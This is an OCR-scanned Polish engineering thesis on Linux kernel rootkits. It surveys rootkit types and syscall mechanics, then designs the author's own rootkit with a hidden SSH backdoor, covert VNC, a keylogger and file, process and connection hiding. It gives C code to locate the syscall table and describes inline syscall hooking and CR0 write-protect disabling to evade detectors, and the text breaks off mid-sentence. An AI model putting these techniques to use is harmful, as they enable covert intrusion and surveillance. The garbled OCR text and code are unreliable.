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Wstep

Od poczatku ery komputerow istnieje problem zachowania bezpieczenstwa sys-
temow informatycznych i danych przez nie przechowywanych. Korporacje zajmu-
jace sie tematyka cyberbezpieczenstwa wydaja wielkie sumy pieniedzy na badania 1
rozw0j nowych metod wykrywania 1 zapobiegania atakom. Z tego tez powodu rzesza
ludzi zajmujgca si¢ tworzeniem szkodliwego oprogramowania wytwarza coraz bar-

dziej wyszukane i innowacyjne rozwigzania takie jak np. rootkity.

Historia rozwoju rootkitéw sigega lat 80 ubieglego stulecia, jednak zyskaly one
duza popularno$¢ w ostatnich czasach ze wzgledu na to, iz oprogramowanie antywi-
rusowe jest juz dopracowane do takiego stopnia, ze rozwigzania konwencjonalne nie

zapewniaja niewykrywalnosci w systemie.

Niniejsza praca bedzie poruszata temat funkcjonowania mechanizméw typu
rootkit, sposobow ich detekcji. Zostanie zaprezentowana i omoéwiona wlasna koncep-

cja i implementacja rootkita dziatajacego na platformie systemowej Linux.



1. Geneza tematu

Rootkit to narzedzie pomocne we wiamaniach do systemow informatycznych.
Ukrywa ono niebezpieczne pliki 1 procesy, ktére umozliwiajg utrzymanie kontroli

nad systemem, umozliwia nicautoryzowany dostep do konta administratora systemu.

Pojecie rootkita wywodzi si¢ ze srodowisk uniksowych od dwoch pojeé: root —

domyslna nazwa konta administratora oraz kit — z ang. zestaw narzedzi.

Historycznie rootkity byly paczkami zawierajacymi zmodyfikowane kluczowe
binaria systemowe w systemach uniksowych, ktoére zastepowatly oryginalne tuz po
dokonaniu wtamania. Dzigki modyfikacjom w oryginalnym kodzie binaria z rootkita
np. nie pokazywaly wybranych procesow lub umozliwialy logowanie na roota (ad-

ministratora) za podaniem specjalnego hasta.

Rootkit infekuje jadro systemu i usuwa ukrywane programy z listy procesow oraz
plikéw zwracanych do programoéw. Moze on ukry¢ siebie oraz konia trojanskiego
przed administratorem oraz oprogramowaniem antywirusowym. Ukrywanie odbywa
si¢ najczesciej przez przejecie wybranych funkcji systemu operacyjnego, stuzacych
np. listowaniu procesow lub plikoéw w katalogu, a nast¢pnie ,,cenzurowaniu” zwra-
canych przez te funkcje wynikéw tak, by ukrywane przez rootkit nazwy nie znajdo-

waly sie na liscie wynikowe;.

Istniejg rootkity dla r6znych systemow operacyjnych, m.in. Microsoft Windows,
Solarisa, Mac OS X 1 FreeBSD. Rootkity mogg dziala¢ w trybie uzytkownika (user

mode) lub jadra systemu operacyjnego (kernel mode).

1.1 Zastosowanie rootkitow

Glownym celem rootkitow jest ukrycie samych siebie oraz innego szkodliwego
oprogramowania przed systemem oraz odpowiednig modyfikacj¢ wywotan systemo-
wych w celu uzyskania kontroli nad maszyna, kradzieza, modyfikacja czy usunig-
ciem danych. Istniejg tez rootkity, ktére nie stuzg wyrzadzaniu szkdd a utatwiaja nie-

ktore operacje. Przyktadem takich rootkitéw sg moduty wirtualnych napedow dysko-



wych (pozwalajg uzyskaé niskopoziomowy dostep do zasobow systemowych 1 sprze-
towych), elementy oprogramowania do wykrywania atakow czy infekcji (rootkity
wykrywajace inne rootkity). Niektore laptopy zawieraja specjalnie przygotowane
rootkity zaszyte w oprogramowaniu mikrouktadowym, aby zapewni¢ funkcje takie
jak blokada urzadzenia czy awaryjne usuwanie wrazliwych danych po kradziezy

sprzetu.
1.2 Rodzaje rootkitow

Mozna wyrdzni¢ 5 gtownych rodzajow rootkitow w zalezno$ci od tego, na ja-
Kim poziomie one pracuja[1][2]:

Rootkity trybu uzytkownika (ang. user mode rootkits) sg to rootkity, ktore
pracuja na tym samym poziomie, co inne aplikacje instalowane i uruchamiane przez
uzytkownika systemu. Najczesciej nadpisuja one funkcje okreslonych programow
czy bibliotek dynamicznych tadowanych przez aplikacje w celu uruchomienia nieau-
toryzowanego i szkodliwego kodu. Rootkity tego typu byty prekursorami wszystkich
rootkitow. Pierwsze rootkity tego typu byty spreparowanymi kluczowymi progra-
mami czy ustugami systemu takimi jak ustuga logowania do systemu. Mozliwe byto
dzieki temu zalogowanie si¢ na konto administratora bez posiadania uprawnien.

Rootkity jadra systemu (ang. kernel mode rootkits) to rootkity, ktére urucha-
miane sa, jako sterowniki czy moduty systemowe. Oprogramowanie dziatajace na
tym poziomie ma bezposredni dostgp do sprzgtu 1 zasoboéw systemowych. Rootkity
tego typu nadpisujg funkcje i wywolania systemowe, co daje im bardzo duze mozli-
wosci penetracji systemu oraz czyni je trudno wykrywalnymi.

Rootkity programu uruchamiajacego (ang. Bootkits) to rootkity, ktore zapi-
suja swoj kod wykonywalny w gltéwnym sektorze rozruchowym dysku twardego.
Dzigki takiemu zabiegowi sg w stanie przeja¢ kontrole nad komputerem zanim uru-
chomiony zostanie system operacyjny. Rozwigzane takiego typu jest stosowane w
przypadkach gdzie oprogramowanie jest podpisywane cyfrowo lub szyfrowane gdyz

bardzo dobrze omija te mechanizmy.



Rootkity srodowisk wirtualizowanych (ang. Hypervisor level rootkits) to
rootkity w swojej konstrukcji bardzo przypominajace te dzialajace na poziomie uzyt-
kownika czy jadra systemu z tg roznica, ze ich celem ataku jest zarzagdca maszyn
wirtualnych. Rootkity tego typu sa w stanie umiescic¢ fizyczny system w srodowisku
wirtualizowanym samymi stajgc si¢ systemem zarzadczym. Dzigki takiemu zabie-
gowi sg w stanie przejac petnag kontrole nad maszyng wlaczajac w to obstuge prze-
rwan, obstuge zegara systemowego czy bezposredni dostep do urzadzen. Pierwsze
tego typu rozwigzanie zaprezentowala polka Joanna Rutkowska na konferencji hac-
kerskiej Black Hat Briefings w 2006 roku.

Rootkity oprogramowania mikroukladowego (ang. hardware/firmware
rootkits) to oprogramowanie ukryte w oprogramowaniu sprzetowym, np. w route-
rach, dyskach twardych, czy oprogramowaniu ptyt gléwnych BIOS. Rootkity tego
typu sa szczegdlnie niebezpieczne gdyz sg praktycznie niewykrywalne. Glo§nym
przypadkiem takiego ataku byty dyski twarde pewnej firmy, ktore jako fabrycznie

nowe zawieraty rootkita wysytajacego dane do tworcy rootkita.
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2. Charakterystyka mechanizmow rootkit w systemach

Linux

Najczesciej spotykanym rodzajem rootkitow w systemach Linux sg rootkity jadra
systemu i1 temu rodzajowi zostanie poswigcona wigkszo$¢ niniejszej pracy. Rootkity
trybu uzytkownika posiadajg podobny mechanizm dziatania — rowniez ich celem jest
przejecie kontroli nad pracg jadra systemu jednak funkcjonujg one w przestrzeni uzyt-
kownika, przez co ich pole manewru jest ograniczone. Popularng praktyka stosowang
w projektowaniu rootkitéw trybu uzytkownika jest to, iz W sposéb nieautoryzowany
instaluja one rootkit jadra systemu, ktéry stuzy jako medium migdzy przestrzenia
uzytkownika a przestrzenig jadra umozliwiajace im szerszg kontrole nad pracg jadra

systemu.

Rootkity jadra systemu wykorzystujg modularno$¢ jadra systemu Linux, ktdra po-

zwala na rozszerzanie funkcjonalno$ci poprzez tadowalne moduty jadra.

2.1 Struktura moduhu jadra

Ladowalne moduty jadra (LKM ang. Loadable Kernel Module) s3 to binaria
tadowane przez system do przestrzeni jadra systemu. Ich zadaniem najczg$ciej jest
dodanie obstugi urzadzen sprzetowych czy programowych (funkcja sterownika
sprzetowego), dodanie obstugi systeméw plikoéw (funkcja sterownika systemu pli-
kéw) czy tez dodanie mozliwos$ci obstugi nowych wywotan systemowych. Podsta-
wowg zaletg i gtbwnym powodem, dla jakiego uzywane sg fadowalne moduty jadra
jest to, iz moga one rozszerza¢ funkcjonalnos$¢ jadra bez potrzeby ponownej kompi-
lacji jadra czy nawet ponownego uruchamiania systemu. Dzi¢gki temu mozliwe jest
skompilowanie jadra be¢dacego niewrazliwym na zmiany konfiguracji sprzetowe;.

W systemach Linux wszystkie moduty sg standardowo przechowywane w ka-
talogu /lib/modules i posiadajg rozszerzenie .ko. Moduty tfadowane sg i usuwane
przez ustuge modprobe. Do podstawowych polecen stuzacych do zarzadzania modu-
tami nalezg: insmod (tadowanie modutow), rmmod (usuwanie modutéw) oraz Ismod

(listowanie zatadowanych modutow)[14].
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Kazdy modut jadra musi zawiera¢ dwie kluczowych funkcji: module_init oraz
module_exit. Funkcja module_init odpowiada na przydzielenie dodatkowej pamigci
wymaganej do dziatania modutu (pamig¢¢ na sam modut przydzielana jest przez jadro
w przestrzeni pamigci jadra), powotanie dodatkowych watkow czy procesow. Ana-
logicznie funkcja module_exit odpowiada za zwolnienie wcze$niej alokowanej pa-
migci, zatrzymanie watkéw czy proceséw oraz inne operacje niezbgdne do usunigcia
modutu. Schemat procesu fadowania 1 usuwania modutéw jadra przedstawiony zostat

na rysunku 1.

. Kernel LKM
insmod R
g Przydziat obszaru module_init()
pamieci jgdra na /
modut Alokacja pamieci, powotanie
rmmod watkdéw i proceséw

Zwolnienie obszaru
pamieci jadra
zajmowanej przez
modut

module_exit()

Zwolnienie pamieci, zatrzymanie
procesow i watkéw

Rysunek 1. Schemat procesu tadowania i usuwania LKM

2.2  Wywolania systemowe

Wywolania systemowe (ang. system calls, nazywane réwniez funkcjami systemo-
wymi) sg elementarnym mechanizmem jadra systemu Linux[5][6] jak i innych sys-
temow takich jak Windows czy Mac OS. Kazde wywotanie jakiejkolwiek funkcji w
aplikacji trybu uzytkownika pocigga za sobg wywolanie szeregu wywotan systemo-
wych na poziomie jadra systemu. Mozliwe jest to dzigki zarzadcy wywotan systemo-
wych (ang. system calls handler), ktéry thumaczy zagdania wywotan na adresy funkcji
wywolan systemowych przy uzyciu tabeli wywotan systemowych (ang. system calls

table). Na podstawie adresu wywotania uzyskanego od zarzadcy jadro jest w stanie
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uruchomi¢ kod wywotania a nastepnie zwrdci¢ wynik jego wykonania do funkcji,

ktora uruchomita dane wywotanie systemowe.

Na rysunku 2 przedstawiony zostat przyktadowy schemat dziatania mechanizmu
wywotan systemowych dla funkcji odczytu z urzadzenia czy systemu plikow. W apli-
kacji uzytkownika wywolywana jest funkcja biblioteczna read, ktora z kolei zapisuje
do rejestru procesora EAX numer wywotania systemowego a nastgpnie wywotuje
przerwanie programowe 0x80, czyli wywotania systemowego. Zarzadca wywotan
systemowych zapisuje wartosci rejestroOw procesora, sprawdza czy dane wywotanie
istnieje w jadrze a nastepnie odwotujac si¢ do tablicy wywotan systemowych urucha-
mia je. Wywotanie systemowe Sys_read() sprawdza czy dane operacje mozna wyko-
nac, jesli tak to odwotuje si¢ do urzadzenia czy tez systemu plikow. W tym miejscu
konczy si¢ rekursja wywotan i wynik jest zwracany. W momencie, gdy rekursja po-
wraca do poziomu zarzadcy wywotan przywracane zostaja wczesniej zapisane war-
tosci rejestrow procesora, nastepuje powrot do przestrzeni uzytkownika gdzie doko-

nywana jest obstuga btedow. Wynik zostaje zwrocony do aplikacji uzytkownika.
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Przestrzen uzytkownika Przestrzen jadra
Wywolanie el
Aplikacja Biblioteka C i?jvﬁ;g sthemowe SySter;:J S fiow
systemowych sys_read() urzadzenie
Odtoz
argumenty na Wpisz
_ stos argumenty do
_libc_read() rejestrow
1 N EAX =
—VI]\I R—rf &}d Zapisz wartosci
ywoia) wszystkich
przerwanie rejestrow
Int OI X80 Sprawdz czy
dane wywotanie
istnieje
Syscall_tab[EA file = fget(fd)
X]0 Sprawdz
operacje na pliku
I——P Sprawdz
blokady na pliku
(file->f_op- Sprawdz obiekt
>read)() docelowy
I Odczytaj dane
Skopiuj dane do
pamigci
Zwro¢ wynik
Obstuz sygnaly fput(file) |
Obshuz Zwroc wynik
kolejkowanie |
Przywro¢
rejestry
Zwr6¢ wynik
Obstuz bedy I
Podnies Zwroc wynik
argumenty ze 4_4
stosu

Rysunek 2. Przyktad dziatania mechanizmu wywoltan systemowych [6]

Cechg wywotan systemowych jest to, ze sg one niewidoczne dla proceséw dzia-

tajacych w przestrzeni uzytkownika. Wlasciwos$¢ ta jest szeroko stosowana przez

rootkity, ktore to podmieniajac adresy funkcji wywotan systemowych moga wykonaé

swoj szkodliwy kod.
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2.3 Tablica wywolan systemowych

Tablica wywotan systemowych[5][6][12] jest strukturg przechowujacg adresy
kodu wykonywalnego poszczegdlnych wywotan systemowych w obszarze pamigci
jadra systemu. Na podstawie numeru wywotania systemowego mozna ustali¢ adres
wywotania w pamigci 1 je uruchomié. Poczawszy od wersji 2.6.x jadra systemu Linux
adres tablicy wywotan systemowych nie jest eksportowany do biblioteki syscalls.h,

co mialo utrudni¢ jawny dostep do niej 1 jej edycje.

Rootkity wykorzystuja rézne metody, aby uzyskac adres tablicy wywotan syste-

mowych by moc jg edytowaé czy tez podmienic.

Aplikacja
uzytkownika

Zadanie wywolania systemowego—|

Przestrzen uzytkownika

, Przestrzen jadra
Zarzadca wywolah
systemowych sys_read()
' A
Tablica wywotan
systemowych _
y Y Rootkit
Wybér wywolania Podmienione
z tablicy - wywotanie —P hijacked_sys_read()
> sys_read systemowe

Rysunek 3. Schemat podmiany wywotania systemowego przez rootkit
Na rysunku 3 przedstawiony zostat schemat procesu podmiany wywotan syste-
mowych poprzez edycje adresu wywotania w tablicy wywotan systemowych. UKry-

wanie procesow, plikow 1 potaczen sieciowych

To, co wyrdznia rootkity na tle innego szkodliwego oprogramowania to stopien

zaawansowania jezeli chodzi o ukrywanie proceséw czy plikow. Rootkity sa w stanie



15

ukry¢ pliki w taki sposob, ze jedynym mozliwym sposobem odnalezienia i usunig¢cia
pliku jest przelozenie fizycznego dysku do niezainfekowanej maszyny. Mozliwe jest
to dzigki temu, ze pliki sg odfiltrowywane z wynikow poszukiwan juz na poziomie

sterownika obshugi systemu plikow.

Ze wzgledu na to, ze informacje o procesie w systemie Linux sg zapisane w pli-
kach specjalnych w katalogu /proc, ten sam scenariusz dotyczy proceséw. Stosujac
dalej ten scenariusz, mozliwe jest ukrycie przez systemem polgczen sieciowych, za-
réwno tych opartych na protokole UDP (pliki specjalne /proc/udp4 oraz /proc/udp6)
jak i TCP(pliki specjalne /proc/tcp4 oraz /proc/tcp6) uzywajacych adresacji IP w wer-

sji czwartej lub szdstej czy nawet urzadzen sprzgtowych.

2.4 Mechanizmy zaawansowane

Administratorzy systemow jak i programisci jadra systemu Linux doktadajg
wszelkich staran, aby wyeliminowac¢ wszelkie mozliwe stabe punkty systemu. Daza
do tego, aby typowe i znane mechanizmy uzyskania nieautoryzowanego dostgpu i
kontroli byty blokowane. Z tego powodu spotecznosci hakerskie szukajg coraz bar-

dziej wysublimowanych metod.

W systemach serwerowych, gdzie konfiguracja sprz¢towa i programowa jest z
gbry narzucona i niezmienna, czesto jadra systemu kompilowane sg pod t¢ konkretng
architekture. Istnieje w takim przypadku mozliwos¢ wylaczenia obstugi tadowalnych

modutéw jadra, tym samym uniemozliwiajac prace wiekszosci rootkitow.

W przypadkach takich stosuje si¢ prosty w zatozeniu mechanizm r¢cznej edycji
obszaru pamigci jadra. Mechanizm ten jest prosty tylko z zatozenia, poniewaz w rze-
czywistosci wymaga od atakujacego bardzo dobrej znajomosci struktury jadra sys-
temu, wiaczajac w to doskonatg znajomo$¢ implementacji poszczegdlnych wywotan
systemowych, biegtej znajomosci instrukcji procesora (jezyk programowania assem-
bler). Osoby podejmujace si¢ takiego typu ataku majg najczesciej za sobg implemen-
tacje wtasnych, autorskich jader systeméw badz tez sg aktywnymi programistami j3-

dra systemu Linux.
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Kolejng przeszkoda, ktorg napotykaja programisci rootkitow jest bardzo szybko
rozwijajacy si¢ rynek oprogramowania wykrywajacego rootkity. Obecnie uzywane
programy detekcyjne potrafig same funkcjonowaé w sposéb podobny do rootkitow,
aby moc porownac wersje funkcji, bibliotek czy wywotan systemowych z tymi zna-
nymi jako zaufane. Detektor taki bez problemu wykryje podmienione wywotania sys-
temowe w tablicy wywotan systemowych poréwnujac jag z wersja umieszczong w

pliku /proc/kallsyms[7].

Aby zapewnic¢ zapobiec wyKryciu rootkita przez takiego rodzaju oprogramowanie
nalezy je oszuka¢. Mozna tego dokona¢ tworzac kopig¢ tablicy wywotan 1 podmienia-
jac adres skoku w wektorze obstugi przerwania programowego 0x80, mozna réwniez
p6js¢ krok dalej 1 podmieni¢ catg procedure obstugi przerwania. Tak glebokie inge-
rencje w sposob dziatania jadra wymagaja jednak duzej wiedzy i ograniczajg zasto-

sowanie rootkita do konkretnych platform sprzgtowych.
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3. Przeglad stosowanych rozwigzan typu rootkit w

systemach Linux

Ze wzgledu na to, 1z system Linux jest uwazany przez srodowiska programistow
za bezpieczniejszy niz systemy z rodziny Windows oraz to, ze gtdwnie jest stosowany
w Srodowiskach serwerowych nie istnieje bardzo duzo znanych implementacji rootki-

tow.
Z posrdd istniejgcych wybrano kilka bardziej interesujacych czy popularnych:

e The Linux Rootkit: Rootkit, ktory posiadat wiele odston i wersji (ostatnia
wykryta nosita numer 6), zaimplementowano w nim standardowy zestaw
funkcji: ukrywanie plikow, katalogow, procesow, potaczen sieciowych,
mozliwo$¢ zdalnego dostepu do maszyny, podstuch klawiatury czy ruchu
sieciowego. Na dzien dzisiejszy jest wykrywany przez wszystkie pro-
gramy skanujace.

e Kbnark: Rootkit zapewniajacy zdalny dostep do konta administratora, wy-
korzystuje zmodyfikowang wersj¢ programu netstat, aby ukry¢ potgczenia
sieciowe oraz modut jadra sysmod.o w celu ukrycia plikow[15].

e SucKIT: Rootkit wykorzystujacy metode nadpisywania pamieci jadra w
locie. Dzigki wykorzystaniu takiej metody nie istniata potrzeba uzycia me-
chanizmu fadowania modutow jadra[4].

e Adore: Rootkit zaszywajacy si¢ w systemie poprzez modyfikacje wywo-
tania systemowego readdir. Nadaje uprawnienia administratora kazdemu
procesowi probujacemu odczyta¢ dane z pliku /proc/KEY gdzie KEY to
unikalny klucz znany tylko atakujagcemu[9].

e tOrn: Rootkit skierowany gtownie w stron¢ dystrybucji Red Hat 1 jego po-
chodnych. Rootkit rozprzestrzenia si¢ w sieciach lokalnych wykorzystujac

podatno$¢ systemu DNS.

Istnieje wiele innych, mniej popularnych implementacji rootkitow. Te przedstawione
w pracy sg pod wzgledem swojej budowy i funkcji najciekawsze i to one byly zro-

dlem pomystow i koncepcji do utworzenia wlasnej implementacji.
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W ramach rozwigzania problemu pracy inzynierskiej nalezato zaimplementowac

oprogramowanie typu rootkit na platforme systemowga Linux. Aby bylo tatwiej za-

rzadza¢ napisanym kodem aplikacji, zwigkszy¢ mozliwos¢ jej rozbudowy i aby za-

pewni¢ jak najmniejszg wykrywalnos$¢ przez programy antywirusowe zdecydowano

si¢ uzy¢ modelu modutowego. Poszczegdlne elementy tworzonego rootkita zaimple-

mentowane sg w postaci tadowalnego modutu jadra komunikujacego si¢ z ustugami

uruchamianymi w przestrzeni uzytkownika. Schemat projektu rozwigzania zostat

przedstawiony na rysunku 4.

Przestrzen uzytkownika

|

Aplikacja |
uzytkownika :
|

_———

Przestrzen jadra -

Zarzadca

wywolai Tabela wywolan
systemowych systemowych
tPodmi ana wywotan systemowych—l
Rootkit
Jprocinet | Ukrywanie ruchu S|e<i|kq\t/vego skojarzonego z -modut ukryty
rootkrtem -nieautoryzowany |
dostep do konta
Sterfwmk Ukrywanie plikow skojarzonych z og(sjin:églf)gjtt(?liiiu
systemu rootkitem przed systemem .
plikow Presesy I0CTL
I
Ukrywanie procesow skojarzonych z
Iproc rootkitem przed systemem

Rysunek 4. Projekt systemu

Model taki utatwia osiggnigcie zamierzonych rezultatow w prosty sposéob. Stosu-

jac obiekty jadra systemu otrzymuje si¢ bezposredni niskopoziomowy dostep do pa-

migci, urzagdzen zewnetrznych czy sktadnikéw systemu. Uzywajac ustlug w trybie



19

uzytkownika zyskuje si¢ mozliwos¢ uzywania jezykoOw programowania wysokiego

poziomu oraz gotowych bibliotek czy interfejsow programistycznych. Giéwny mo-

dut jest medium synchronizujagcym 1 zarzadzajacym praca. Monitoruje on prace

ustug, moze je w przypadku awarii lub na polecenie atakujacego wlaczy¢, wylaczy¢

czy uruchomi¢ ponownie. Zadaniem gtownego modutu jest réwniez nadpisanie tabeli

wywotan systemowych.

Funkcje zaimplementowane w rozwigzaniu wtasnym to:

Serwer SSH — serwer zdalnej sesji powltoki polecen, zapewniajacy szyfrowa-
nie szyfrem symetrycznym AES, uruchamiany i zamykana po otrzymaniu
spreparowanego pakietu ICMP ECHO.

Serwer VNC — podglad na zywo zawartos$ci ekranu, bez mozliwosci interakcji
aby nie zbudza¢ podejrzen uzytkownika zainfekowanej maszyny. Urucha-
miany na zadanie atakujgcego.

Keylogger — zapis na zywo wcisnigtych klawiszy na klawiaturze do ukrytego
pliku dziennika. Aktywny od momentu zatadowania rootkita do pamigci sys-
temu.

Protoko6t IOCTL — mozliwos$¢ kontroli pracy rootkita poprzez przechwytywa-
nie pakietow IOCTL zawierajgcych flage autoryzacji. Funkcja zostata zaim-
plementowana, jako serwer przechwytujacy pakiety zawierajagce komendy

oraz klient umozliwiajacy wysylanie pakietow.

Modut gléwny zapewni:

Mozliwo$¢ odnalezienia tabeli wywotan systemowych.

Mozliwo$¢ podmiany wywotan systemowych w czasie rzeczywistym.
Mozliwos¢ dynamicznego ukrywania procesow o zadanym identyfikatorze
PID.

Mozliwos$¢ dynamicznego ukrywania plikow i katalogow o zadanej nazwie.
Mozliwo$¢ dynamicznego ukrywania potaczen sieciowych w protokotach
UDP oraz TCP zwigzanych z zadanym portem.

Mozliwos$¢ uzyskania uprawnien administratora bez autoryzacji.



20

5. Implementacja rozwigzania

Projekt zostat zaimplementowany jako szereg mniejszych podprogramow w
sktad ktorych wchodzi:
e ladowalny modut jadra systemu Linux;
e Aplikacja petnigca role serwera VNC;
e Aplikacja pelnigca role serwera SSH;
e Aplikacja stuzaca do kontroli pracy modutu jadra poprzez interfejs IOCTL;
e Skrypt w jezyku Python sluzacy do wysytania spreparowanego pakietu
ICMP ECHO;

Wszystkie czesci projektu, z wyjatkiem skryptu, zostaty zaimplementowane w
jezyku C. Do kazdej czesci zostaty utworzone pliki konfiguracji kompilacji Makefile.
Do kompilacji wersji uzytej podczas testow uzyto kompilatora GNU gcc w wersji
4.6.3. Jako systemu testowego uzyto Elementary OS (pochodna Ubuntu) z jadrem w
wersji 3.2.0-74.

Podczas kompilacji serwera SSH oraz serwera VNC uzyto statycznego dowig-
zywania uzywanych bibliotek. Dzigki temu mozliwe jest uruchomienie tych aplikacji
na systemach nieposiadajacych tych bibliotek zainstalowanych kosztem nieznacz-

nego wzrostu rozmiaru plikow.

5.1 Struktura modulu jadra

Modut jadra zostal zaimplementowany wedtug specyfikacji modutow tadowal-
nych jadra systemu Linux[5]. Zaimplementowane zostaty dwie podstawowe funkcje:

module_init oraz module_exit.

Module_init: Modut jadra jest usuwany z listy uruchomionych modutow, przy-
znawane s3 uprawnienia administratora dla modutu, wyszukiwany jest adres po-
czatku tablicy wywotan systemowych, podmieniane sg wybrane wywotlania syste-
mowe, uruchamiany jest proces serwera SSH oraz watek obstugi podstuchu klawia-
tury, ukrywane zostaja odpowiednie pliki, procesy i polgczenia sieciowe wykorzy-

stywane przez rootkit.
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Module_exit: Zatrzymany zostaje proces serwera SSH oraz watek obstugi podstu-
chu klawiatury, przywracana jest widoczno$¢ plikow, procesOw oraz potaczen sie-

ciowych, przywracane zostajg oryginalne adresy wywotan systemowych.

5.2 Adres tablicy wywolan systemowych

Aby uzyskac adres tablicy wywotan systemowych nalezy przyjrzec¢ si¢ doktadniej
mechanizmowi funkcjonowania zarzadcy wywotlan systemowych. Procesy zadajace
wywolania systemowego uruchamiajg przerwanie programowe 0x80. Poprzez odczyt

tablicy wektorow przerwan mozna odnalez¢ adres procedury obstugi tego przerwania

1 rozpocza¢ analize.

0xc0106bc8 <system call>: push Seax

0xc0106bc9 <system call+1l>: cld

Oxc0l06bca <system call+2>: push %es

OxcO0l06bcb <system call+3>: push %ds

0xc01l06bcc <system call+4>: push Seax

0xc0106bcd <system call+5>: push sebp

0xc0l06bce <system call+6>: push Sedi

0xc0106bcf <system call+7>: push %esi

0xc0106bd0 <system call+8>: push Fedx

0xc0106bdl <system call+9>: push secx

0xc0106bd2 <system call+10>: push Sebx

0xc0106bd3 <system call+11>: mov $0x18, $edx
0xc0106bd8 <system call+16>: mov %$edx, $ds

OxcO0l06bda <system call+18>: mov %$edx, $es

Oxc0l06bdc <system call+20>: mov SOxffffe000, $ebx
Oxc01l06bel <system call+25>: and sesp, sebx
Oxc0106be3 <system call+27>: cmp $0x100, $eax
0xc01l06be8 <system call+32>: Jjae 0xc0106c75 <badsys>
OxcOl0O6bee <system call+38>: testb $0x2,0x18 (%ebx)
0xc0106bf2 <system call+42>: jne 0xc0106c48 <tracesys>
0xc0106bf4 <system call+44>: call *0xc01le0£f18 (,%eax,4)
Oxc0106bfb <system call+51>: mov %eax,0x18 (%esp, 1)
OxcO0l06bff <system call+55>: nop

Kod zrodtowy 1. Wynik dezasemblacji kodu obstugi przerwania

programowego 0x80

Analizujac liste komend procesora procedury obstugi przerwania 0x80 (kod zro-

dlowy 1) mozna zauwazy¢ szereg wykonywanych operacji:

e Zapis wartoS$ci rejestroOw procesora na stosie (operacje push)

e Operacje kopiowania na rejestrach (operacje mov)

e Operacje skokow warunkowych (operacje jae, jne)
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e Operacje wywotania procedury spod konkretnego adresu z przesunigciem o

warto$¢ rejestru EAX

Szczegoblnie interesujgca jest operacja ostatnia (kod zrodtowy 1, podkreslona i po-
grubiona) gdyz jest to wywotanie funkcji konkretnego wywotania systemowego
(wskazywanego przez wartos¢ rejestru EAX). Zatem widoczny adres jest adresem

tablicy wywotan systemowych.

Na podstawie przedstawionego schematu post¢powania zaimplementowana zo-
stata funkcja (kod zrodtowy 2), ktora umozliwi odnalezienie adresu tablicy wywotan

systemowych.

unsigned long *find sys call table ( void )
{
char **p;
unsigned long sct off = 0;
unsigned char code[255];
asm(“sidt %0”:”=m” (idtr)):;
memcpy (&idt, (void *) (idtr.base + 8 * 0x80),
sizeof (1dt)) ;
sct off = (idt.off2 << 16) | idt.offl;
memcpy (code, (void *)sct off, sizeof (code)):;
p = (char **)memmem (code, sizeof (code), “\xff\x14\x85”, 3);
if (p)
return * (unsigned long **) ((char *)p + 3);

else
return NULL;

Kod zrodtowy 2. Funkcja wyszukujgca adres tablicy wywotan systemowych

Adres tablicy wektorow przerwan uzyskujemy poprzez wywolanie instrukcji pro-
cesora sidt. Dodatkowymi czynnosciami, jakie nalezato wykonac byty: zamiana kodu
operacji call na posta¢ heksadecymalng (0xff1485) i uzyciu jej jako wzorca do wy-

szukiwania przez wczesniej zaimplementowang funkcje memmem.

5.3 Podmiana wywolan systemowych

W zaproponowanym rozwigzaniu zdecydowano si¢ uzy¢ innej metody podmiany
funkcji systemowych niz ta przedstawiona we wstepie teoretycznym (rozdziat 2.3,
rysunek 3) ze wzgledu na to, iz metoda ta jest popularna i wiele prostych programow

wykrywajacych rootkity jest w stanie jg zdemaskowac.
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Zdecydowano si¢ uzy¢ metody podmiany w miejscu wywotania. Zamiast pod-
mienia¢ adres funkcji systemowej, co jest tatwo wykrywalne, podmieniany jest po-
czatek kodu oryginalnej funkcji w taki sposob, aby kontrola wywotania zostata prze-

kazana do spreparowanej funkcji[16].

W celu implementacji przedstawionego schematu niezbgdna byta definicja struk-
tury sym_hook, ktéra bedzie przechowywac adres funkcji, oryginalng zawartos¢ kodu

funkcji oraz kod, ktory bedzie zastepowat oryginalny.

Domyslnie pami¢¢ obszaru jadra ze wzgledow bezpieczenstwa jest zablokowana
przed zapisem, wigc nie byla by mozliwa modyfikacja kodu funkcji systemowych.
Aby tego dokona¢ niezbedne jest wczesniejsze zdjecie blokady edycji pamieci jadra
poprzez zmian¢ wartosci rejestru procesora CR0O. W tym celu zostaty zaimplemento-
wane dwie funkcje: disable_wp stuzaca do zdj¢cia blokady oraz restore_wp przywra-

cajaca blokade.

Po zyskaniu mozliwos$ci edycji pamigci jadra mozna byto przystapi¢ do imple-
mentacji funkcji stuzacych do podmiany funkcji systemowych. W tym celu zostaly

utworzone cztery funkcje:

e Hijack_start — funkcja podmienia pierwsze 6 bajtow kodu oryginalnej
funkcji systemowej instrukcjami procesora push $addr oraz ret, gdzie
$addr to adres zmodyfikowanego wywotania systemowego. Dzigki ta-
kiemu zabiegowi kontrola wywotlania zostanie przekazana do funkcji
wskazywanej przez $addr. Oryginalny kod, adres poczatku wywotania
oraz podmieniany kod zapisywane sg w strukturze sym_hook.

e Hijack_stop — funkcja przywraca pierwsze 6 bajtoéw kodu oryginalnego
wywolania do stanu pierwotnego, odpowiednie elementy struktury
sym_hook zostajg usunigte.

e Hijack pause — funkcja podobnie jak hijack stop przywraca oryginalny
poczatek kodu wywolania jednak bez usuwania wpisow ze struktury
sym_hook.

e Hijack _resume — funkcja odwraca dziatanie funkcji hijack_pause.
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Przy uzyciu czterech wyzej opisanych funkcji mozliwa jest zmiana w locie wersji
uruchamianego wywotania systemowego: oryginalnego lub zmodyfikowanego.

Funkcjonalnos¢ ta bedzie wykorzystana w dalszej czesci pracy.

Zaletg takiego rozwigzania jest, 1z nie zostaje w zaden sposob zmodyfikowana
tablica wywotan systemowych. Programy stuzace do detekcji rootkitow w systemie
bardzo cze¢sto porownujg zawartos$¢ tablicy wywolan systemowych umieszczonej w
pamieci z tg zapisang na lokalnym dysku twardym w katalogu /boot. W przypadku
zaproponowanego rozwigzania nie wykryja one zadnych roznic 1 nie podniosg

alarmu.

Dodatkowag kwestig, na ktorg nalezy zwroci¢ uwage jest wiclowatkowos¢ sys-
temu. Moze zdarzy¢ si¢ taka sytuacja, w ktdrej procesor przelaczy zadanie podczas
podmiany wywolania systemowego na jakie§ zadanie zadajace tego wywotania. W
takiej sytuacji wystgpitby blad jadra systemu. Aby temu zapobiec nalezy zapewni¢
cigglo$¢ wykonywania funkcji podmiany wywotania poprzez czasowe blokowanie

przetaczania zadan procesora funkcja preempt_disable.

5.4 Przyznawanie uprawnien administratora

Aby przyzna¢ uprawnienia administratora procesom wykorzystano mechanizm
